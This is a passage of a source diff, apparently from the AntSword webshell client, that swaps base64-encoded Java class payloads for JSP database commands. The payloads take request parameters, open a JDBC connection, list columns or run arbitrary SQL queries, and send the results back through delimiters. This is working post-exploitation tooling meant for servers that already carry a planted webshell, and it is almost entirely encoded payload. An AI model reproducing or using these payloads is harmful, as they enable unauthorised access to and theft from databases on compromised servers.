zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTsBAAxnZXRQYXJhbWV0ZXIBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAA5zZXRDb250ZW50VHlwZQEAFHNldENoYXJhY3RlckVuY29kaW5nAQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAIdG9TdHJpbmcBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEALChMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWZmZXI7AQAGZ2V0T3V0AQAfKClMamF2YXgvc2VydmxldC9qc3AvSnNwV3JpdGVyOwEAG2phdmF4L3NlcnZsZXQvanNwL0pzcFdyaXRlcgEABXByaW50AQAIZ2V0Qnl0ZXMBAAQoKVtCAQAXKFtCTGphdmEvbGFuZy9TdHJpbmc7KVYBAAt0b1VwcGVyQ2FzZQEABmxlbmd0aAEAAygpSQEABChJKVYBAAZjaGFyQXQBAAQoSSlDAQAHaW5kZXhPZgEABChJKUkBABwoSSlMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAFd3JpdGUBAAxkZWNvZGVCdWZmZXIBABYoTGphdmEvbGFuZy9TdHJpbmc7KVtCAQAEdHJpbQEAB3JlcGxhY2UBAEQoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7TGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KUxqYXZhL2xhbmcvU3RyaW5nOwEABXNwbGl0AQAnKExqYXZhL2xhbmcvU3RyaW5nOylbTGphdmEvbGFuZy9TdHJpbmc7AQAPamF2YS9sYW5nL0NsYXNzAQAHZm9yTmFtZQEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsBABZqYXZhL3NxbC9Ecml2ZXJNYW5hZ2VyAQANZ2V0Q29ubmVjdGlvbgEATShMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZzspTGphdmEvc3FsL0Nvbm5lY3Rpb247AQAPY3JlYXRlU3RhdGVtZW50AQAWKClMamF2YS9zcWwvU3RhdGVtZW50OwEADGV4ZWN1dGVRdWVyeQE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',
-      'var0': '#{encode}',
-      'var1': '#{conn}',
-      'var2': '#{db}',
-      'var3': '#{table}'
+      _: 'yv66vgAAADMBNQoARACABwCBCgACAIIKAAIAgwgAhAkAXwCFCACGCQBfAIcIAIgJAF8AiQcAiggAiwoACwCMCACNCACOCACPCACQCACRCACSCACTCwCUAJULAJYAlwsAlACXBwCYCgAYAIALAJYAmQoAGACaCgAYAJsKAF8AnAoAXwCdCgALAJ4KAF8AnwoACwCbCgACAKAKAKEAogcAowgApAoAJACbCAClCgApAKYHAKcKACkAqAoAKQCpCgCqAKsKACkArAgArQgArgoAKQCvBwCwCgApALEKADEAsgoAKQCzCgApALQKABgAtQgAtgoAMQC3CAC4CgAxALkIALoKALsAvAgAvQoAKQC+CAC/CgBCAMAIAMEHAMIKAEIAwwcAxAoAxQDGCgBEAMcIAHUHAMgIAMkKAEIAygoAywDMCADNCgApAM4IAM8IANAKACkA0QoAKQDSCgDTANQLANUA1gsA1wDYCwDZANoLANsA3AsA2wDdCwDZAN4LANkA3wgA4AgA4QgA4ggA4woAXwDkBwDlAQAHZW5jb2RlcgEAEkxqYXZhL2xhbmcvU3RyaW5nOwEAAmNzAQAMcmFuZG9tUHJlZml4AQAGPGluaXQ+AQADKClWAQAEQ29kZQEABmVxdWFscwEAFShMamF2YS9sYW5nL09iamVjdDspWgEADVN0YWNrTWFwVGFibGUHAOUHAMQHAIEHAOYHAOcHAIoHAKcHAKMBAAJFQwEASihMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQAKRXhjZXB0aW9ucwEABmRlY29kZQcAsAEACmV4ZWN1dGVTUUwBAG8oTGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7WilMamF2YS9sYW5nL1N0cmluZzsHAOgHAOkHAOoHAOsHAOwBAAtzaG93Q29sdW1ucwEAXChMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7DABkAGUBAB1qYXZheC9zZXJ2bGV0L2pzcC9QYWdlQ29udGV4dAwA7QDuDADvAPABABRhbnRzd29yZHJhbmRvbVByZWZpeAwAYwBhAQAGYmFzZTY0DABgAGEBAA9hbnRzd29yZENoYXJzZXQMAGIAYQEAFmphdmEvbGFuZy9TdHJpbmdCdWZmZXIBAAAMAGQA8QEAAy0+fAEAA3w8LQEAEWFudHN3b3JkYXJnZW5jb2RlAQAPYW50c3dvcmRhcmdjb25uAQANYW50c3dvcmRhcmdkYgEAEGFudHN3b3JkYXJndGFibGUBAAl0ZXh0L2h0bWwHAOcMAPIA8QcA5gwA8wDxAQAXamF2YS9sYW5nL1N0cmluZ0J1aWxkZXIMAPQA9QwA9gD3DAD4APkMAHUAcwwAcgBzDAD2APoMAH4AfwwA+wD8BwD9DAD+APEBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAJRVJST1I6Ly8gAQADaGV4DABnAGgBABBqYXZhL2xhbmcvU3RyaW5nDAD/AQAMAGQBAQcBAgwBAwEEDAEFAQYBAARudWxsAQAQMDEyMzQ1Njc4OUFCQ0RFRgwBBwD5AQAdamF2YS9pby9CeXRlQXJyYXlPdXRwdXRTdHJlYW0MAQgBCQwAZAEKDAELAQwMAQ0BDgwA9gEPAQABLAwBEAEKAQAFVVRGLTgMAPgA9QEADGphdmEudmVyc2lvbgcBEQwBEgD1AQADMS45DAETAQQBABBqYXZhLnV0aWwuQmFzZTY0DAEUARUBAApnZXREZWNvZGVyAQAPamF2YS9sYW5nL0NsYXNzDAEWARcBABBqYXZhL2xhbmcvT2JqZWN0BwEYDAEZARoMARsBHAEAAltCAQAWc3VuLm1pc2MuQkFTRTY0RGVjb2RlcgwBHQEeBwEfDAEgASEBAAxkZWNvZGVCdWZmZXIMASIA+QEAAg0KAQABCgwBIwEkDAElASYHAScMASgBKQcA6QwBKgErBwDqDAEsAS0HAOsMAS4BLwcA7AwBMAEJDAExAQYMATIBMwwBNAEGAQABCQEADnNlbGVjdCAqIGZyb20gAQABLgEADyBXSEVSRSBST1dOVU09MAwAdwB4AQAMU2hvd19jb2x1bW5zAQAcamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdAEAHWphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEAE2phdmEvc3FsL0Nvbm5lY3Rpb24BABJqYXZhL3NxbC9TdGF0ZW1lbnQBABJqYXZhL3NxbC9SZXN1bHRTZXQBABpqYXZhL3NxbC9SZXN1bHRTZXRNZXRhRGF0YQEACmdldFJlcXVlc3QBACAoKUxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0OwEAC2dldFJlc3BvbnNlAQAhKClMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7AQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAOc2V0Q29udGVudFR5cGUBABRzZXRDaGFyYWN0ZXJFbmNvZGluZwEADGdldFBhcmFtZXRlcgEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAIdG9TdHJpbmcBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEALChMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWZmZXI7AQAGZ2V0T3V0AQAfKClMamF2YXgvc2VydmxldC9qc3AvSnNwV3JpdGVyOwEAG2phdmF4L3NlcnZsZXQvanNwL0pzcFdyaXRlcgEABXByaW50AQAIZ2V0Qnl0ZXMBAAQoKVtCAQAXKFtCTGphdmEvbGFuZy9TdHJpbmc7KVYBABFqYXZhL2xhbmcvSW50ZWdlcgEACHBhcnNlSW50AQAVKExqYXZhL2xhbmcvU3RyaW5nOylJAQAJc3Vic3RyaW5nAQAVKEkpTGphdmEvbGFuZy9TdHJpbmc7AQALdG9VcHBlckNhc2UBAAZsZW5ndGgBAAMoKUkBAAQoSSlWAQAGY2hhckF0AQAEKEkpQwEAB2luZGV4T2YBAAQoSSlJAQAcKEkpTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEABXdyaXRlAQAQamF2YS9sYW5nL1N5c3RlbQEAC2dldFByb3BlcnR5AQAJY29tcGFyZVRvAQAHZm9yTmFtZQEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsBAAlnZXRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kAQAGaW52b2tlAQA5KExqYXZhL2xhbmcvT2JqZWN0O1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7AQAWZ2V0RGVjbGFyZWRDb25zdHJ1Y3RvcgEAMyhbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L0NvbnN0cnVjdG9yOwEAHWphdmEvbGFuZy9yZWZsZWN0L0NvbnN0cnVjdG9yAQALbmV3SW5zdGFuY2UBACcoW0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAAR0cmltAQAHcmVwbGFjZQEARChMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTtMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspTGphdmEvbGFuZy9TdHJpbmc7AQAFc3BsaXQBACcoTGphdmEvbGFuZy9TdHJpbmc7KVtMamF2YS9sYW5nL1N0cmluZzsBABZqYXZhL3NxbC9Ecml2ZXJNYW5hZ2VyAQANZ2V0Q29ubmVjdGlvbgEATShMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZzspTGphdmEvc3FsL0Nvbm5lY3Rpb247AQAPY3JlYXRlU3RhdGVtZW50AQAWKClMamF2YS9zcWwvU3RhdGVtZW50OwEADGV4ZWN1dGVRdWVyeQEAKChMamF2YS9sYW5nL1N0cmluZzspTGphdmEvc3FsL1Jlc3VsdFNldDsBAAtnZXRNZXRhRGF0YQEAHigpTGphdmEvc3FsL1Jlc3VsdFNldE1ldGFEYXRhOwEADmdldENvbHVtbkNvdW50AQANZ2V0Q29sdW1uTmFtZQEABG5leHQBAAMoKVoBAAlnZXRTdHJpbmcAIQBfAEQAAAADAAEAYABhAAAAAQBiAGEAAAABAGMAYQAAAAYAAQBkAGUA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',
+      [arg1]: '#{newbase64::encode}',
+      [arg2]: '#{newbase64::conn}',
+      [arg3]: '#{newbase64::db}',
+      [arg4]: '#{newbase64::table}'
     },
     query: {
-      _: 'yv66vgAAADIA+goASwBvBwBwCgACAHEKAAIAcggATAsAcwB0CAB1CQBKAHYIAHcIAHgJAEoAeQcAegoADAB7CAB8CwB9AH4LAHMAfwsAfQB/BwCACgASAG8IAIEKABIAggoAEgCDCgBKAIQKAEoAhQgAhggAhwgAiAoADACJCgBKAIoKAAwAgwgAiwoAAgCMCgCNAI4HAI8IAJAKACIAgwgAkQoAJwCSBwCTCgAnAJQKACcAlQgAlggAlwoAJwCYBwCZCgAnAJoKAC0AmwoAJwCcCgAnAJ0KABIAnggAnwoALQCgCgAtAKEIAKIHAKMKADcAbwoANwCkCgAnAKUIAKYIAKcKACcAqAoAJwCpCgCqAKsKAKwArQsArgCvCwCwALELALIAswsAtAC1CwC0ALYLALIAtwsAsgC4CAC5CgBKALoHAGsHALsBAAdlbmNvZGVyAQASTGphdmEvbGFuZy9TdHJpbmc7AQACY3MBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAGZXF1YWxzAQAVKExqYXZhL2xhbmcvT2JqZWN0OylaAQANU3RhY2tNYXBUYWJsZQcAawcAuwcAcAcAvAcAvQcAawcAkwcAegcAjwEAAkVDAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAApFeGNlcHRpb25zAQAGZGVjb2RlBwCZAQAKZXhlY3V0ZVNRTAEAbyhMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztaKUxqYXZhL2xhbmcvU3RyaW5nOwcAvgcAvwcAwAcAwQcAwgEABXF1ZXJ5AQBKKExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAApTb3VyY2VGaWxlAQAKcXVlcnkuamF2YQwATwBQAQAdamF2YXgvc2VydmxldC9qc3AvUGFnZUNvbnRleHQMAMMAxAwAxQDGBwC8DADHAGABAAAMAEwATQEAB2NoYXJzZXQBAAVVVEYtOAwATgBNAQAWamF2YS9sYW5nL1N0cmluZ0J1ZmZlcgwATwDIAQAJdGV4dC9odG1sBwC9DADJAMgMAMoAyAEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyAQAEdmFyMAwAywDMDADNAM4MAGIAYAwAXwBgAQAEdmFyMQEABHZhcjIBAAMtPnwMAMsAzwwAawBsAQADfDwtDADQANEHANIMANMAyAEAE2phdmEvbGFuZy9FeGNlcHRpb24BAAlFUlJPUjovLyABAANoZXgMAFMAVAEAEGphdmEvbGFuZy9TdHJpbmcMANQA1QwATwDWAQAEbnVsbAEAEDAxMjM0NTY3ODlBQkNERUYMANcAzgEAHWphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtDADYANkMAE8A2gwA2wDcDADdAN4MAMsA3wEAASwMAOAA2gwAzQBgAQAGYmFzZTY0AQAWc3VuL21pc2MvQkFTRTY0RGVjb2RlcgwA4QDiDADjAM4BAAINCgEAAQoMAOQA5QwA5gDnBwDoDADpAOoHAOsMAOwA7QcAvwwA7gDvBwDADADwAPEHAMEMAPIA8wcAwgwA9ADZDAD1APYMAPcA+AwA+QD2AQADCXwJDABkAGUBABBqYXZhL2xhbmcvT2JqZWN0AQAcamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdAEAHWphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEAE2phdmEvc3FsL0Nvbm5lY3Rpb24BABJqYXZhL3NxbC9TdGF0ZW1lbnQBABJqYXZhL3NxbC9SZXN1bHRTZXQBABpqYXZhL3NxbC9SZXN1bHRTZXRNZXRhRGF0YQEACmdldFJlcXVlc3QBACAoKUxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0OwEAC2dldFJlc3BvbnNlAQAhKClMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7AQAMZ2V0UGFyYW1ldGVyAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAOc2V0Q29udGVudFR5cGUBABRzZXRDaGFyYWN0ZXJFbmNvZGluZwEABmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEACHRvU3RyaW5nAQAUKClMamF2YS9sYW5nL1N0cmluZzsBACwoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVmZmVyOwEABmdldE91dAEAHygpTGphdmF4L3NlcnZsZXQvanNwL0pzcFdyaXRlcjsBABtqYXZheC9zZXJ2bGV0L2pzcC9Kc3BXcml0ZXIBAAVwcmludAEACGdldEJ5dGVzAQAEKClbQgEAFyhbQkxqYXZhL2xhbmcvU3RyaW5nOylWAQALdG9VcHBlckNhc2UBAAZsZW5ndGgBAAMoKUkBAAQoSSlWAQAGY2hhckF0AQAEKEkpQwEAB2luZGV4T2YBAAQoSSlJAQAcKEkpTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEABXdyaXRlAQAMZGVjb2RlQnVmZmVyAQAWKExqYXZhL2xhbmcvU3RyaW5nOylbQgEABHRyaW0BAAdyZXBsYWNlAQBEKExqYXZhL2xhbmcvQ2hhclNlcXVlbmNlO0xqYXZhL2xhbmcvQ2hhclNlcXVlbmNlOylMamF2YS9sYW5nL1N0cmluZzsBAAVzcGxpdAEAJyhMamF2YS9sYW5nL1N0cmluZzspW0xqYXZhL2xhbmcvU3RyaW5nOwEAD2phdmEvbGFuZy9DbGFzcwEAB2Zvck5hbWUBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7AQAWamF2YS9zcWwvRHJpdmVyTWFuYWdlcgEADWdldENvbm5lY3Rpb24BAE0oTGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3NxbC9Db25uZWN0aW9uOwEAD2NyZWF0ZVN0YXRlbWVudAEAFigpTGphdmEvc3FsL1N0YXRlbWVudDsBAAxleGVjdXRlUXVlcnkBACgoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3NxbC9SZXN1bHRTZXQ7AQALZ2V0TWV0YURhdGEBAB4oKUxqYXZhL3NxbC9SZXN1bHRTZXRNZXRhRGF0YTsBAA5nZXRDb2x1bW5Db3VudAEADWdldENvbHVtbk5hbWUBABUoSSlMamF2YS9sYW5nL1N0cmluZzsBAARuZXh0AQADKClaAQAJZ2V0U3RyaW5nACEASgBLAAAAAgABAEwATQAAAAEATgBNAAAABgABAE8AUAABAFEAAAAdAAEAAQAAAAUqtwABsQAAAAEAUgAAAAYAAQAAAAcAAQBTAFQAAQBRAAACNAAFAAoAAAFDK8AAAk0stgADTiy2AAQ6BCotEgW5AAYCAMYADi0SBbkABgIApwAFEge1AAgqLRIJuQAGAgDGAA4tEgm5AAYCAKcABRIKtQALuwAMWRIHtwANOgW7AAxZEge3AA06BhkEEg65AA8CAC0qtAALuQAQAgAZBCq0AAu5ABECACoquwASWbcAEy0SFLkABgIAtgAVEge2ABW2ABa2ABe2ABg6ByoquwASWbcAEy0SGbkABgIAtgAVEge2ABW2ABa2ABe2ABg6CCoquwASWbcAEy0SGrkABgIAtgAVEge2ABW2ABa2ABe2ABg6CRkFEhu2ABxXGQYqGQcZCBkJtgAdtgAcVxkFGQa2AB62ABxXGQUSH7YAHFcstgAgGQW2AB62ACGnACI6BxkGuwASWbcAExIjtgAVGQe2ACS2ABW2ABa2ABxXBKwAAQBeAR8BIgAiAAIAUgAAAFoAFgAAAAwABQANAAoADgAQAA8ALAAQAEgAEQBTABIAXgAUAGcAFQBxABYAfAAXAKAAGADEABkA6AAaAPAAGwEAABwBCwAdARMAHgEfACEBIgAfASQAIAFBACIAVQAAAHcABv8AJwAFBwBWBwBXBwBYBwBZBwBaAAEHAFv/AAEABQcAVgcAVwcAWAcAWQcAWgACBwBbBwBcWQcAW/8AAQAFBwBWBwBXBwBYBwBZBwBaAAIHAFsHAFz/ANwABwcAVgcAVwcAWAcAWQcAWgcAXQcAXQABBwBeHgAAAF8AYAACAFEAAABDAAQAAgAAAB4qtAAIEiW2ACaZAAUrsLsAJ1krtgAoKrQAC7cAKbAAAAACAFIAAAAKAAIAAAAlAA4AJgBVAAAAAwABDgBhAAAABAABACIAAABiAGAAAgBRAAABTQAGAAYAAADJKrQACBIltgAmmQCXKxIqpQAMKxIqtgAmmQAGEgewEitNK7YALEy7AC1ZK7YALgVstwAvThIHOgQDNgUVBSu2AC6iAFi7ABJZtwATGQS2ABUsKxUFtgAwtgAxB3gsKxUFBGC2ADC2ADGAtgAyEjO2ABW2ABY6BC0sKxUFtgAwtgAxB3gsKxUFBGC2ADC2ADGAtgA0hAUCp/+lLRIKtgA1sCq0AAgSNrYAJpkAHgFNuwA3WbcAOE4tK7YAOU27ACdZLBIKtwApsCuwAAAAAgBSAAAASgASAAAAKQAMACoAGwArAB4ALQAhAC4AJgAvADQAMAA4ADEARAAyAHYAMwCTADEAmQA1AKAANgCsADcArgA4ALYAOQC8ADoAxwA8AFUAAAAiAAYbAv8AHAAGBwBWBwBcBwBcBwBjBwBcAQAA+gBd+AAGJgBhAAAA